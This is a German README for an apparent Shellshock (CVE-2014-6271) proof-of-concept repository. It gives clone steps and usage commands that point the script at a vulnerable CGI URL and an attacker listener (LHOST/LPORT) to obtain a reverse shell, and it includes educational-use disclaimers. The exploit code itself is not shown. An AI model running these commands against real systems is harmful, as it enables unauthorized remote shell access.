Shellshock Exploit (CVE-2014-6271)

Exploit

Beschreibung

Dieses Repository enthält einen Exploit für eine Sicherheitslücke, die Unix-basierte Systeme betrifft. Bitte beachten Sie, dass dies lediglich ein Proof-of-Concept-Skript ist, das zu Bildungszwecken erstellt wurde und verantwortungsvoll genutzt werden sollte.

Dieser Exploit soll demonstrieren, wie der Shellshock-Angriff funktioniert und wie er genutzt werden könnte, um über einen böswillig gestalteten Anfrage-Header Shell-Zugriff auf ein System zu erlangen.

Haftungsausschluss

Dieses Repository dient ausschließlich Bildungszwecken. Verwenden Sie diesen Code oder die darin enthaltenen Informationen nicht für böswillige Zwecke. Halten Sie sich stets an ethische Richtlinien und respektieren Sie das Gesetz.

Verwendung:

python3 shellshock.py [Vulnerable URL] [LHOST] [LPORT]

Beispiel:

python3 shellshock.py http://vulnerablewebsite.com/cgi-bin/test.cgi 109.876.654.321 1234

Voraussetzungen:

• Eine lokale Entwicklungsumgebung
• Python installiert

Um diesen Exploit auszuführen, können Sie die folgenden Schritte befolgen:

Klonen Sie dieses Repository auf Ihren lokalen Rechner.

git clone https://github.com/AlissonFaoli/Shellshock.git

Wechseln Sie in das Projektverzeichnis.

cd Shellshock

Führen Sie das Skript shellshock.py aus.

python3 shellshock.py http://vulnerable-website.com/cgi-bin/test.cgi listening_interface_IP listening_port

Bitte beachten Sie, dass dieser Exploit niemals gegen echte Software oder Systeme eingesetzt werden sollte, zu deren Test Sie nicht autorisiert sind. Unbefugter Zugriff oder böswillige Aktivitäten sind illegal.

Lizenz

Dieser Exploit wird unter der MIT-Lizenz veröffentlicht. Weitere Informationen finden Sie in der Datei LICENSE.

Author: Alisson Faoli

Github: https://github.com/AlissonFaoli

LinkedIn: https://linkedin.com/in/alisson-faoli

Wenn Sie Fragen oder Bedenken zu diesem Exploit haben, können Sie sich gerne an den Autor wenden.